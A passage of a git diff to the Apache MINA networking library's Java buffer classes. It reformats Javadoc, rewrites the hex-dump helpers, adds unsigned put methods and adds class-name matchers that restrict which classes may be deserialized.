returns the correlating enum constant * defined by the specified enum type. * - * @param - * The enum type to return - * @param index - * the index from which the bytes will be read - * @param enumClass - * The enum's class object + * @param The enum type to return + * @param index the index from which the bytes will be read + * @param enumClass The enum's class object + * @return The correlated enum constant */ public abstract > E getEnumInt(int index, Class enumClass); /** * Writes an enum's ordinal value to the buffer as a byte. * - * @param e - * The enum to write to the buffer + * @param e The enum to write to the buffer + * @return The modified IoBuffer */ public abstract IoBuffer putEnum(Enum e); /** * Writes an enum's ordinal value to the buffer as a byte. * - * @param index - * The index at which the byte will be written - * @param e - * The enum to write to the buffer + * @param index The index at which the byte will be written + * @param e The enum to write to the buffer + * @return The modified IoBuffer */ public abstract IoBuffer putEnum(int index, Enum e); /** * Writes an enum's ordinal value to the buffer as a short. * - * @param e - * The enum to write to the buffer + * @param e The enum to write to the buffer + * @return The modified IoBuffer */ public abstract IoBuffer putEnumShort(Enum e); /** * Writes an enum's ordinal value to the buffer as a short. * - * @param index - * The index at which the bytes will be written - * @param e - * The enum to write to the buffer + * @param index The index at which the bytes will be written + * @param e The enum to write to the buffer + * @return The modified IoBuffer */ public abstract IoBuffer putEnumShort(int index, Enum e); /** * Writes an enum's ordinal value to the buffer as an integer. * - * @param e - * The enum to write to the buffer + * @param e The enum to write to the buffer + * @return The modified IoBuffer */ public abstract IoBuffer putEnumInt(Enum e); /** * Writes an enum's ordinal value to the buffer as an integer. * - * @param index - * The index at which the bytes will be written - * @param e - * The enum to write to the buffer + * @param index The index at which the bytes will be written + * @param e The enum to write to the buffer + * @return The modified IoBuffer */ public abstract IoBuffer putEnumInt(int index, Enum e); @@ -1242,205 +1964,198 @@ public abstract IoBuffer putPrefixedString(CharSequence val, int prefixLength, i * Reads a byte sized bit vector and converts it to an {@link EnumSet}. * *

- * Each bit is mapped to a value in the specified enum. The least - * significant bit maps to the first entry in the specified enum and each - * subsequent bit maps to each subsequent bit as mapped to the subsequent - * enum value. - *

- * - * @param - * the enum type - * @param enumClass - * the enum class used to create the EnumSet + * Each bit is mapped to a value in the specified enum. The least significant + * bit maps to the first entry in the specified enum and each subsequent bit + * maps to each subsequent bit as mapped to the subsequent enum value. + * + * @param the enum type + * @param enumClass the enum class used to create the EnumSet * @return the EnumSet representation of the bit vector */ - public abstract > EnumSet getEnumSet(Class enumClass); + public abstract > Set getEnumSet(Class enumClass); /** * Reads a byte sized bit vector and converts it to an {@link EnumSet}. * * @see #getEnumSet(Class) - * @param - * the enum type - * @param index - * the index from which the byte will be read - * @param enumClass - * the enum class used to create the EnumSet + * @param the enum type + * @param index the index from which the byte will be read + * @param enumClass the enum class used to create the EnumSet * @return the EnumSet representation of the bit vector */ - public abstract > EnumSet getEnumSet(int index, Class enumClass); + public abstract > Set getEnumSet(int index, Class enumClass); /** * Reads a short sized bit vector and converts it to an {@link EnumSet}. * * @see #getEnumSet(Class) - * @param - * the enum type - * @param enumClass - * the enum class used to create the EnumSet + * @param the enum type + * @param enumClass the enum class used to create the EnumSet * @return the EnumSet representation of the bit vector */ - public abstract > EnumSet getEnumSetShort(Class enumClass); + public abstract > Set getEnumSetShort(Class enumClass); /** * Reads a short sized bit vector and converts it to an {@link EnumSet}. * * @see #getEnumSet(Class) - * @param - * the enum type - * @param index - * the index from which the bytes will be read - * @param enumClass - * the enum class used to create the EnumSet + * @param the enum type + * @param index the index from which the bytes will be read + * @param enumClass the enum class used to create the EnumSet * @return the EnumSet representation of the bit vector */ - public abstract > EnumSet getEnumSetShort(int index, Class enumClass); + public abstract > Set getEnumSetShort(int index, Class enumClass); /** * Reads an int sized bit vector and converts it to an {@link EnumSet}. * * @see #getEnumSet(Class) - * @param - * the enum type - * @param enumClass - * the enum class used to create the EnumSet + * @param the enum type + * @param enumClass the enum class used to create the EnumSet * @return the EnumSet representation of the bit vector */ - public abstract > EnumSet getEnumSetInt(Class enumClass); + public abstract > Set getEnumSetInt(Class enumClass); /** * Reads an int sized bit vector and converts it to an {@link EnumSet}. * * @see #getEnumSet(Class) - * @param - * the enum type - * @param index - * the index from which the bytes will be read - * @param enumClass - * the enum class used to create the EnumSet + * @param the enum type + * @param index the index from which the bytes will be read + * @param enumClass the enum class used to create the EnumSet * @return the EnumSet representation of the bit vector */ - public abstract > EnumSet getEnumSetInt(int index, Class enumClass); + public abstract > Set getEnumSetInt(int index, Class enumClass); /** * Reads a long sized bit vector and converts it to an {@link EnumSet}. * * @see #getEnumSet(Class) - * @param - * the enum type - * @param enumClass - * the enum class used to create the EnumSet + * @param the enum type + * @param enumClass the enum class used to create the EnumSet * @return the EnumSet representation of the bit vector */ - public abstract > EnumSet getEnumSetLong(Class enumClass); + public abstract > Set getEnumSetLong(Class enumClass); /** * Reads a long sized bit vector and converts it to an {@link EnumSet}. * * @see #getEnumSet(Class) - * @param - * the enum type - * @param index - * the index from which the bytes will be read - * @param enumClass - * the enum class used to create the EnumSet + * @param the enum type + * @param index the index from which the bytes will be read + * @param enumClass the enum class used to create the EnumSet * @return the EnumSet representation of the bit vector */ - public abstract > EnumSet getEnumSetLong(int index, Class enumClass); + public abstract > Set getEnumSetLong(int index, Class enumClass); /** - * Writes the specified {@link Set} to the buffer as a byte sized bit - * vector. + * Writes the specified {@link Set} to the buffer as a byte sized bit vector. * - * @param - * the enum type of the Set - * @param set - * the enum set to write to the buffer + * @param the enum type of the Set + * @param set the enum set to write to the buffer + * @return the modified IoBuffer */ public abstract > IoBuffer putEnumSet(Set set); /** - * Writes the specified {@link Set} to the buffer as a byte sized bit - * vector. + * Writes the specified {@link Set} to the buffer as a byte sized bit vector. * - * @param - * the enum type of the Set - * @param index - * the index at which the byte will be written - * @param set - * the enum set to write to the buffer + * @param the enum type of the Set + * @param index the index at which the byte will be written + * @param set the enum set to write to the buffer + * @return the modified IoBuffer */ public abstract > IoBuffer putEnumSet(int index, Set set); /** - * Writes the specified {@link Set} to the buffer as a short sized bit - * vector. + * Writes the specified {@link Set} to the buffer as a short sized bit vector. * - * @param - * the enum type of the Set - * @param set - * the enum set to write to the buffer + * @param the enum type of the Set + * @param set the enum set to write to the buffer + * @return the modified IoBuffer */ public abstract > IoBuffer putEnumSetShort(Set set); /** - * Writes the specified {@link Set} to the buffer as a short sized bit - * vector. + * Writes the specified {@link Set} to the buffer as a short sized bit vector. * - * @param - * the enum type of the Set - * @param index - * the index at which the bytes will be written - * @param set - * the enum set to write to the buffer + * @param the enum type of the Set + * @param index the index at which the bytes will be written + * @param set the enum set to write to the buffer + * @return the modified IoBuffer */ public abstract > IoBuffer putEnumSetShort(int index, Set set); /** - * Writes the specified {@link Set} to the buffer as an int sized bit - * vector. + * Writes the specified {@link Set} to the buffer as an int sized bit vector. * - * @param - * the enum type of the Set - * @param set - * the enum set to write to the buffer + * @param the enum type of the Set + * @param set the enum set to write to the buffer + * @return the modified IoBuffer */ public abstract > IoBuffer putEnumSetInt(Set set); /** - * Writes the specified {@link Set} to the buffer as an int sized bit - * vector. + * Writes the specified {@link Set} to the buffer as an int sized bit vector. * - * @param - * the enum type of the Set - * @param index - * the index at which the bytes will be written - * @param set - * the enum set to write to the buffer + * @param the enum type of the Set + * @param index the index at which the bytes will be written + * @param set the enum set to write to the buffer + * @return the modified IoBuffer */ public abstract > IoBuffer putEnumSetInt(int index, Set set); /** - * Writes the specified {@link Set} to the buffer as a long sized bit - * vector. + * Writes the specified {@link Set} to the buffer as a long sized bit vector. * - * @param - * the enum type of the Set - * @param set - * the enum set to write to the buffer + * @param the enum type of the Set + * @param set the enum set to write to the buffer + * @return the modified IoBuffer */ public abstract > IoBuffer putEnumSetLong(Set set); /** - * Writes the specified {@link Set} to the buffer as a long sized bit - * vector. + * Writes the specified {@link Set} to the buffer as a long sized bit vector. * - * @param - * the enum type of the Set - * @param index - * the index at which the bytes will be written - * @param set - * the enum set to write to the buffer + * @param the enum type of the Set + * @param index the index at which the bytes will be written + * @param set the enum set to write to the buffer + * @return the modified IoBuffer */ public abstract > IoBuffer putEnumSetLong(int index, Set set); + + /** + * Accept class names where the supplied ClassNameMatcher matches for + * deserialization, unless they are otherwise rejected. + * + * @param m the matcher to use + * @return this object + */ + public abstract IoBuffer accept(ClassNameMatcher m); + + /** + * Accept class names that match the supplied pattern for + * deserialization, unless they are otherwise rejected. + * + * @param pattern standard Java regexp + * @return this object + */ + public abstract IoBuffer accept(Pattern pattern); + + /** + * Accept the wildcard specified classes for deserialization, + * unless they are otherwise rejected. + * + * @param patterns Wildcard file name patterns as defined by + * org.apache.commons.io.FilenameUtils.wildcardMatch(String, String) + * @return this object + */ + public abstract IoBuffer accept(String... patterns); + + /** + * Set the list of class matchers for in incoming buffer + * + * @param matchers The list of matchers + */ + public abstract void setMatchers(List matchers); } diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/IoBufferAllocator.java b/mina-core/src/main/java/org/apache/mina/core/buffer/IoBufferAllocator.java index 229cf1ec4b..e27ccaa6b6 100644 --- a/mina-core/src/main/java/org/apache/mina/core/buffer/IoBufferAllocator.java +++ b/mina-core/src/main/java/org/apache/mina/core/buffer/IoBufferAllocator.java @@ -32,8 +32,9 @@ public interface IoBufferAllocator { * Returns the buffer which is capable of the specified size. * * @param capacity the capacity of the buffer - * @param direct true to get a direct buffer, - * false to get a heap buffer. + * @param direct true to get a direct buffer, + * false to get a heap buffer. + * @return The allocated {@link IoBuffer} */ IoBuffer allocate(int capacity, boolean direct); @@ -41,13 +42,17 @@ public interface IoBufferAllocator { * Returns the NIO buffer which is capable of the specified size. * * @param capacity the capacity of the buffer - * @param direct true to get a direct buffer, - * false to get a heap buffer. + * @param direct true to get a direct buffer, + * false to get a heap buffer. + * @return The allocated {@link ByteBuffer} */ ByteBuffer allocateNioBuffer(int capacity, boolean direct); /** * Wraps the specified NIO {@link ByteBuffer} into MINA buffer. + * + * @param nioBuffer The {@link ByteBuffer} to wrap + * @return The {@link IoBuffer} wrapping the {@link ByteBuffer} */ IoBuffer wrap(ByteBuffer nioBuffer); diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/IoBufferHexDumper.java b/mina-core/src/main/java/org/apache/mina/core/buffer/IoBufferHexDumper.java index 843b129062..18683a33a8 100644 --- a/mina-core/src/main/java/org/apache/mina/core/buffer/IoBufferHexDumper.java +++ b/mina-core/src/main/java/org/apache/mina/core/buffer/IoBufferHexDumper.java @@ -19,92 +19,216 @@ */ package org.apache.mina.core.buffer; +import java.io.UnsupportedEncodingException; + /** - * Provides utility methods to dump an {@link IoBuffer} into a hex formatted string. + * Provides utility methods to dump an {@link IoBuffer} into a hex formatted + * string. * * @author Apache MINA Project */ class IoBufferHexDumper { /** - * The high digits lookup table. + * Dumps an {@link IoBuffer} to a hex formatted string. + * + * @param buf the buffer to dump + * @param offset the starting position to begin reading the hex dump + * @param length the number of bytes to dump + * @return a hex formatted string representation of the in + * {@link IoBuffer}. */ - private static final byte[] highDigits; + public static String getHexDumpSlice(final IoBuffer buf, final int offset, final int length) { + if (buf == null) { + throw new IllegalArgumentException(); + } + + if (length < 0 || offset < 0 || offset + length > buf.limit()) { + throw new IndexOutOfBoundsException(); + } + + int pos = offset; + int items = Math.min(offset + length, offset + buf.limit()) - pos; + + if (items <= 0) { + return ""; + } + + int lim = pos + items; + + StringBuilder out = new StringBuilder((items * 3) + 6); + + for (;;) { + int byteValue = buf.get(pos++) & 0xFF; + out.append((char) hexDigit[(byteValue >> 4) & 0x0F]); + out.append((char) hexDigit[byteValue & 0xf]); + + if (pos < lim) { + out.append(' '); + } else { + break; + } + } + + return out.toString(); + } /** - * The low digits lookup table. + * Produces a verbose hex dump + * + * @param offset initial position which to read bytes + * + * @param length number of bytes to display + * + * @return The formatted String representing the content between (offset) and + * (offset+count) */ - private static final byte[] lowDigits; + public static final String getPrettyHexDumpSlice(final IoBuffer buf, final int offset, final int length) { + if (buf == null) { + throw new IllegalArgumentException(); + } + + if (length < 0 || offset < 0 || offset + length > buf.limit()) { + throw new IndexOutOfBoundsException(); + } + + final int len = Math.min(length, buf.limit() - offset); + final byte[] bytes = new byte[len]; + + int o = offset; + + for (int i = 0; i < len; i++) { + bytes[i] = buf.get(o++); + } + + final StringBuilder sb = new StringBuilder(); + + sb.append("Source "); + sb.append("0x").append(Integer.toHexString(buf.hashCode())); + sb.append(" showing index "); + sb.append(offset); + sb.append(" through "); + sb.append((offset + length)); + sb.append("\n"); + sb.append(toPrettyHexDump(bytes, 0, bytes.length)); + + return sb.toString(); + } /** - * Initialize lookup tables. + * Generates a hex dump with line numbers, hex, volumes, and ascii + * representation + * + * @param data source data to read for the hex dump + * + * @param pos index position to begin reading + * + * @param len number of bytes to read + * + * @return string hex dump */ - static { - final byte[] digits = { '0', '1', '2', '3', '4', '5', '6', '7', '8', - '9', 'A', 'B', 'C', 'D', 'E', 'F' }; + public static final String toPrettyHexDump(final byte[] data, final int pos, final int len) { + if (data == null) { + throw new IllegalArgumentException(); + } + + if (len < 0 || pos < 0 || pos + len > data.length) { + throw new IndexOutOfBoundsException(); + } + + final StringBuilder b = new StringBuilder(); + + // Process every byte in the data. + + for (int i = pos, c = 0, line = 16; i < len; i += line) { + b.append(String.format("%06d", Integer.valueOf(c)) + " "); + b.append(toPrettyHexDumpLine(data, i, Math.min((pos + len) - i, line), 8, line)); - int i; - byte[] high = new byte[256]; - byte[] low = new byte[256]; + if ((i + line) < len) { + b.append("\n"); + } - for (i = 0; i < 256; i++) { - high[i] = digits[i >>> 4]; - low[i] = digits[i & 0x0F]; + c += line; } - highDigits = high; - lowDigits = low; + return b.toString(); + } /** - * Dumps an {@link IoBuffer} to a hex formatted string. - * - * @param in the buffer to dump - * @param lengthLimit the limit at which hex dumping will stop - * @return a hex formatted string representation of the in {@link Iobuffer}. + * Generates the hex dump line with hex values, columns, and ascii + * representation + * + * @param data source data to read for the hex dump + * + * @param pos index position to begin reading + * + * @param len number of bytes to read; this can be less than the line + * width + * + * @param col number of bytes in a column + * + * @param line line width in bytes which pads the output if len is less + * than line + * + * @return string hex dump */ - public static String getHexdump(IoBuffer in, int lengthLimit) { - if (lengthLimit == 0) { - throw new IllegalArgumentException("lengthLimit: " + lengthLimit - + " (expected: 1+)"); + private static final String toPrettyHexDumpLine(final byte[] data, final int pos, final int len, final int col, + final int line) { + if ((line % 2) != 0) { + throw new IllegalArgumentException("length must be multiple of 2"); } - boolean truncate = in.remaining() > lengthLimit; - int size; - if (truncate) { - size = lengthLimit; - } else { - size = in.remaining(); + final StringBuilder b = new StringBuilder(); + + for (int i = pos, t = Math.min(data.length - pos, len) + pos; i < t;) { + for (int x = 0; (x < col) && (i < t); i++, x++) { + b.append(toHex(data[i])); + b.append(" "); + } + + b.append(" "); } - if (size == 0) { - return "empty"; + int cl = (line * 3) + (line / col); + + if (b.length() != cl) // check if we need to pad the output + { + cl -= b.length(); + + while (cl > 0) { + b.append(" "); + cl--; + } } - StringBuilder out = new StringBuilder(size * 3 + 3); + try { + String p = new String(data, pos, Math.min(data.length - pos, len), "Cp1252").replace("\r\n", "..") + .replace("\n", ".").replace("\\", "."); - int mark = in.position(); + final char[] ch = p.toCharArray(); - // fill the first - int byteValue = in.get() & 0xFF; - out.append((char) highDigits[byteValue]); - out.append((char) lowDigits[byteValue]); - size--; + for (int m = 0; m < ch.length; m++) { + if (ch[m] < 32) { + ch[m] = (char) 46; // add dots for whitespace chars + } + } - // and the others, too - for (; size > 0; size--) { - out.append(' '); - byteValue = in.get() & 0xFF; - out.append((char) highDigits[byteValue]); - out.append((char) lowDigits[byteValue]); + b.append(ch); + } catch (final UnsupportedEncodingException e) { + e.printStackTrace(); } - in.position(mark); + return b.toString(); + } - if (truncate) { - out.append("..."); - } + private static final char hexDigit[] = { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', + 'F' }; - return out.toString(); + public static final String toHex(final byte b) { + // Returns hex String representation of byte + + final char[] array = { hexDigit[(b >> 4) & 0x0f], hexDigit[b & 0x0f] }; + return new String(array); } -} \ No newline at end of file +} diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/IoBufferWrapper.java b/mina-core/src/main/java/org/apache/mina/core/buffer/IoBufferWrapper.java index c4d027f85c..c59d42e073 100644 --- a/mina-core/src/main/java/org/apache/mina/core/buffer/IoBufferWrapper.java +++ b/mina-core/src/main/java/org/apache/mina/core/buffer/IoBufferWrapper.java @@ -19,7 +19,7 @@ */ package org.apache.mina.core.buffer; -import java.io.FilterOutputStream; +import java.io.FileOutputStream; import java.io.InputStream; import java.io.OutputStream; import java.nio.ByteBuffer; @@ -33,15 +33,20 @@ import java.nio.charset.CharacterCodingException; import java.nio.charset.CharsetDecoder; import java.nio.charset.CharsetEncoder; -import java.util.EnumSet; +import java.util.List; import java.util.Set; +import java.util.regex.Pattern; + +import org.apache.mina.core.buffer.matcher.ClassNameMatcher; +import org.apache.mina.core.buffer.matcher.RegexpClassNameMatcher; +import org.apache.mina.core.buffer.matcher.WildcardClassNameMatcher; /** * A {@link IoBuffer} that wraps a buffer and proxies any operations to it. *

- * You can think this class like a {@link FilterOutputStream}. All operations - * are proxied by default so that you can extend this class and override existing - * operations selectively. You can introduce new operations, too. + * You can think this class like a {@link FileOutputStream}. All operations are + * proxied by default so that you can extend this class and override existing + * operations selectively. You can introduce new operations, too. * * @author Apache MINA Project */ @@ -54,6 +59,7 @@ public class IoBufferWrapper extends IoBuffer { /** * Create a new instance. + * * @param buf the buffer to be proxied */ protected IoBufferWrapper(IoBuffer buf) { @@ -62,730 +68,1242 @@ protected IoBufferWrapper(IoBuffer buf) { } this.buf = buf; } - + /** - * Returns the parent buffer that this buffer wrapped. + * @return the parent buffer that this buffer wrapped. */ public IoBuffer getParentBuffer() { return buf; } + /** + * {@inheritDoc} + */ @Override public boolean isDirect() { return buf.isDirect(); } + /** + * {@inheritDoc} + */ @Override public ByteBuffer buf() { return buf.buf(); } + /** + * {@inheritDoc} + */ @Override public int capacity() { return buf.capacity(); } + /** + * {@inheritDoc} + */ @Override public int position() { return buf.position(); } + /** + * {@inheritDoc} + */ @Override public IoBuffer position(int newPosition) { buf.position(newPosition); return this; } + /** + * {@inheritDoc} + */ @Override public int limit() { return buf.limit(); } + /** + * {@inheritDoc} + */ @Override public IoBuffer limit(int newLimit) { buf.limit(newLimit); return this; } + /** + * {@inheritDoc} + */ @Override public IoBuffer mark() { buf.mark(); return this; } + /** + * {@inheritDoc} + */ @Override public IoBuffer reset() { buf.reset(); return this; } + /** + * {@inheritDoc} + */ @Override public IoBuffer clear() { buf.clear(); return this; } + /** + * {@inheritDoc} + */ @Override public IoBuffer sweep() { buf.sweep(); return this; } + /** + * {@inheritDoc} + */ @Override public IoBuffer sweep(byte value) { buf.sweep(value); return this; } + /** + * {@inheritDoc} + */ @Override public IoBuffer flip() { buf.flip(); return this; } + /** + * {@inheritDoc} + */ @Override public IoBuffer rewind() { buf.rewind(); return this; } + /** + * {@inheritDoc} + */ @Override public int remaining() { return buf.remaining(); } + /** + * {@inheritDoc} + */ @Override public boolean hasRemaining() { return buf.hasRemaining(); } + /** + * {@inheritDoc} + */ @Override public byte get() { return buf.get(); } + /** + * {@inheritDoc} + */ @Override public short getUnsigned() { return buf.getUnsigned(); } + /** + * {@inheritDoc} + */ @Override public IoBuffer put(byte b) { buf.put(b); return this; } + /** + * {@inheritDoc} + */ @Override public byte get(int index) { return buf.get(index); } + /** + * {@inheritDoc} + */ @Override public short getUnsigned(int index) { return buf.getUnsigned(index); } + /** + * {@inheritDoc} + */ @Override public IoBuffer put(int index, byte b) { buf.put(index, b); return this; } + /** + * {@inheritDoc} + */ @Override public IoBuffer get(byte[] dst, int offset, int length) { buf.get(dst, offset, length); return this; } + /** + * {@inheritDoc} + */ @Override public IoBuffer getSlice(int index, int length) { return buf.getSlice(index, length); } + /** + * {@inheritDoc} + */ @Override public IoBuffer getSlice(int length) { return buf.getSlice(length); } + /** + * {@inheritDoc} + */ @Override public IoBuffer get(byte[] dst) { buf.get(dst); return this; } + /** + * {@inheritDoc} + */ @Override public IoBuffer put(IoBuffer src) { buf.put(src); return this; } + /** + * {@inheritDoc} + */ @Override public IoBuffer put(ByteBuffer src) { buf.put(src); return this; } + /** + * {@inheritDoc} + */ @Override public IoBuffer put(byte[] src, int offset, int length) { buf.put(src, offset, length); return this; } + /** + * {@inheritDoc} + */ @Override public IoBuffer put(byte[] src) { buf.put(src); return this; } + /** + * {@inheritDoc} + */ @Override public IoBuffer compact() { buf.compact(); return this; } + /** + * {@inheritDoc} + */ @Override public String toString() { return buf.toString(); } + /** + * {@inheritDoc} + */ @Override public int hashCode() { return buf.hashCode(); } + /** + * {@inheritDoc} + */ @Override public boolean equals(Object ob) { return buf.equals(ob); } + /** + * {@inheritDoc} + */ + @Override public int compareTo(IoBuffer that) { return buf.compareTo(that); } + /** + * {@inheritDoc} + */ @Override public ByteOrder order() { return buf.order(); } + /** + * {@inheritDoc} + */ @Override public IoBuffer order(ByteOrder bo) { buf.order(bo); return this; } + /** + * {@inheritDoc} + */ @Override public char getChar() { return buf.getChar(); } + /** + * {@inheritDoc} + */ @Override public IoBuffer putChar(char value) { buf.putChar(value); return this; } + /** + * {@inheritDoc} + */ @Override public char getChar(int index) { return buf.getChar(index); } + /** + * {@inheritDoc} + */ @Override public IoBuffer putChar(int index, char value) { buf.putChar(index, value); return this; } + /** + * {@inheritDoc} + */ @Override public CharBuffer asCharBuffer() { return buf.asCharBuffer(); } + /** + * {@inheritDoc} + */ @Override public short getShort() { return buf.getShort(); } + /** + * {@inheritDoc} + */ @Override public int getUnsignedShort() { return buf.getUnsignedShort(); } + /** + * {@inheritDoc} + */ @Override public IoBuffer putShort(short value) { buf.putShort(value); return this; } + /** + * {@inheritDoc} + */ @Override public short getShort(int index) { return buf.getShort(index); } + /** + * {@inheritDoc} + */ @Override public int getUnsignedShort(int index) { return buf.getUnsignedShort(index); } + /** + * {@inheritDoc} + */ @Override public IoBuffer putShort(int index, short value) { buf.putShort(index, value); return this; } + /** + * {@inheritDoc} + */ @Override public ShortBuffer asShortBuffer() { return buf.asShortBuffer(); } + /** + * {@inheritDoc} + */ @Override public int getInt() { return buf.getInt(); } + /** + * {@inheritDoc} + */ @Override public long getUnsignedInt() { return buf.getUnsignedInt(); } + /** + * {@inheritDoc} + */ @Override public IoBuffer putInt(int value) { buf.putInt(value); return this; } + /** + * {@inheritDoc} + */ + @Override + public IoBuffer putUnsignedInt(byte value) { + buf.putUnsignedInt(value); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer putUnsignedInt(int index, byte value) { + buf.putUnsignedInt(index, value); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer putUnsignedInt(short value) { + buf.putUnsignedInt(value); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer putUnsignedInt(int index, short value) { + buf.putUnsignedInt(index, value); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer putUnsignedInt(int value) { + buf.putUnsignedInt(value); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer putUnsignedInt(int index, int value) { + buf.putUnsignedInt(index, value); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer putUnsignedInt(long value) { + buf.putUnsignedInt(value); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer putUnsignedInt(int index, long value) { + buf.putUnsignedInt(index, value); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer putUnsignedShort(byte value) { + buf.putUnsignedShort(value); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer putUnsignedShort(int index, byte value) { + buf.putUnsignedShort(index, value); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer putUnsignedShort(short value) { + buf.putUnsignedShort(value); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer putUnsignedShort(int index, short value) { + buf.putUnsignedShort(index, value); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer putUnsignedShort(int value) { + buf.putUnsignedShort(value); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer putUnsignedShort(int index, int value) { + buf.putUnsignedShort(index, value); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer putUnsignedShort(long value) { + buf.putUnsignedShort(value); + return this; + } + + /** + * {@inheritDoc} + */ + @Override + public IoBuffer putUnsignedShort(int index, long value) { + buf.putUnsignedShort(index, value); + return this; + } + + /** + * {@inheritDoc} + */ @Override public int getInt(int index) { return buf.getInt(index); } + /** + * {@inheritDoc} + */ @Override public long getUnsignedInt(int index) { return buf.getUnsignedInt(index); } + /** + * {@inheritDoc} + */ @Override public IoBuffer putInt(int index, int value) { buf.putInt(index, value); return this; } + /** + * {@inheritDoc} + */ @Override public IntBuffer asIntBuffer() { return buf.asIntBuffer(); } + /** + * {@inheritDoc} + */ @Override public long getLong() { return buf.getLong(); } + /** + * {@inheritDoc} + */ @Override public IoBuffer putLong(long value) { buf.putLong(value); return this; } + /** + * {@inheritDoc} + */ @Override public long getLong(int index) { return buf.getLong(index); } + /** + * {@inheritDoc} + */ @Override public IoBuffer putLong(int index, long value) { buf.putLong(index, value); return this; } + /** + * {@inheritDoc} + */ @Override public LongBuffer asLongBuffer() { return buf.asLongBuffer(); } + /** + * {@inheritDoc} + */ @Override public float getFloat() { return buf.getFloat(); } + /** + * {@inheritDoc} + */ @Override public IoBuffer putFloat(float value) { buf.putFloat(value); return this; } + /** + * {@inheritDoc} + */ @Override public float getFloat(int index) { return buf.getFloat(index); } + /** + * {@inheritDoc} + */ @Override public IoBuffer putFloat(int index, float value) { buf.putFloat(index, value); return this; } + /** + * {@inheritDoc} + */ @Override public FloatBuffer asFloatBuffer() { return buf.asFloatBuffer(); } + /** + * {@inheritDoc} + */ @Override public double getDouble() { return buf.getDouble(); } + /** + * {@inheritDoc} + */ @Override public IoBuffer putDouble(double value) { buf.putDouble(value); return this; } + /** + * {@inheritDoc} + */ @Override public double getDouble(int index) { return buf.getDouble(index); } + /** + * {@inheritDoc} + */ @Override public IoBuffer putDouble(int index, double value) { buf.putDouble(index, value); return this; } + /** + * {@inheritDoc} + */ @Override public DoubleBuffer asDoubleBuffer() { return buf.asDoubleBuffer(); } + /** + * {@inheritDoc} + */ @Override - public String getHexDump() { - return buf.getHexDump(); - } - - @Override - public String getString(int fieldSize, CharsetDecoder decoder) - throws CharacterCodingException { + public String getString(int fieldSize, CharsetDecoder decoder) throws CharacterCodingException { return buf.getString(fieldSize, decoder); } + /** + * {@inheritDoc} + */ @Override - public String getString(CharsetDecoder decoder) - throws CharacterCodingException { + public String getString(CharsetDecoder decoder) throws CharacterCodingException { return buf.getString(decoder); } + /** + * {@inheritDoc} + */ @Override - public String getPrefixedString(CharsetDecoder decoder) - throws CharacterCodingException { + public String getPrefixedString(CharsetDecoder decoder) throws CharacterCodingException { return buf.getPrefixedString(decoder); } + /** + * {@inheritDoc} + */ @Override - public String getPrefixedString(int prefixLength, CharsetDecoder decoder) - throws CharacterCodingException { + public String getPrefixedString(int prefixLength, CharsetDecoder decoder) throws CharacterCodingException { return buf.getPrefixedString(prefixLength, decoder); } + /** + * {@inheritDoc} + */ @Override - public IoBuffer putString(CharSequence in, int fieldSize, - CharsetEncoder encoder) throws CharacterCodingException { + public IoBuffer putString(CharSequence in, int fieldSize, CharsetEncoder encoder) throws CharacterCodingException { buf.putString(in, fieldSize, encoder); return this; } + /** + * {@inheritDoc} + */ @Override - public IoBuffer putString(CharSequence in, CharsetEncoder encoder) - throws CharacterCodingException { + public IoBuffer putString(CharSequence in, CharsetEncoder encoder) throws CharacterCodingException { buf.putString(in, encoder); return this; } + /** + * {@inheritDoc} + */ @Override - public IoBuffer putPrefixedString(CharSequence in, CharsetEncoder encoder) - throws CharacterCodingException { + public IoBuffer putPrefixedString(CharSequence in, CharsetEncoder encoder) throws CharacterCodingException { buf.putPrefixedString(in, encoder); return this; } + /** + * {@inheritDoc} + */ @Override - public IoBuffer putPrefixedString(CharSequence in, int prefixLength, - CharsetEncoder encoder) throws CharacterCodingException { + public IoBuffer putPrefixedString(CharSequence in, int prefixLength, CharsetEncoder encoder) + throws CharacterCodingException { buf.putPrefixedString(in, prefixLength, encoder); return this; } + /** + * {@inheritDoc} + */ @Override - public IoBuffer putPrefixedString(CharSequence in, int prefixLength, - int padding, CharsetEncoder encoder) + public IoBuffer putPrefixedString(CharSequence in, int prefixLength, int padding, CharsetEncoder encoder) throws CharacterCodingException { buf.putPrefixedString(in, prefixLength, padding, encoder); return this; } + /** + * {@inheritDoc} + */ @Override - public IoBuffer putPrefixedString(CharSequence in, int prefixLength, - int padding, byte padValue, CharsetEncoder encoder) - throws CharacterCodingException { + public IoBuffer putPrefixedString(CharSequence in, int prefixLength, int padding, byte padValue, + CharsetEncoder encoder) throws CharacterCodingException { buf.putPrefixedString(in, prefixLength, padding, padValue, encoder); return this; } + /** + * {@inheritDoc} + */ @Override public IoBuffer skip(int size) { buf.skip(size); return this; } + /** + * {@inheritDoc} + */ @Override public IoBuffer fill(byte value, int size) { buf.fill(value, size); return this; } + /** + * {@inheritDoc} + */ @Override public IoBuffer fillAndReset(byte value, int size) { buf.fillAndReset(value, size); return this; } + /** + * {@inheritDoc} + */ @Override public IoBuffer fill(int size) { buf.fill(size); return this; } + /** + * {@inheritDoc} + */ @Override public IoBuffer fillAndReset(int size) { buf.fillAndReset(size); return this; } + /** + * {@inheritDoc} + */ @Override public boolean isAutoExpand() { return buf.isAutoExpand(); } + /** + * {@inheritDoc} + */ @Override public IoBuffer setAutoExpand(boolean autoExpand) { buf.setAutoExpand(autoExpand); return this; } + /** + * {@inheritDoc} + */ @Override public IoBuffer expand(int pos, int expectedRemaining) { 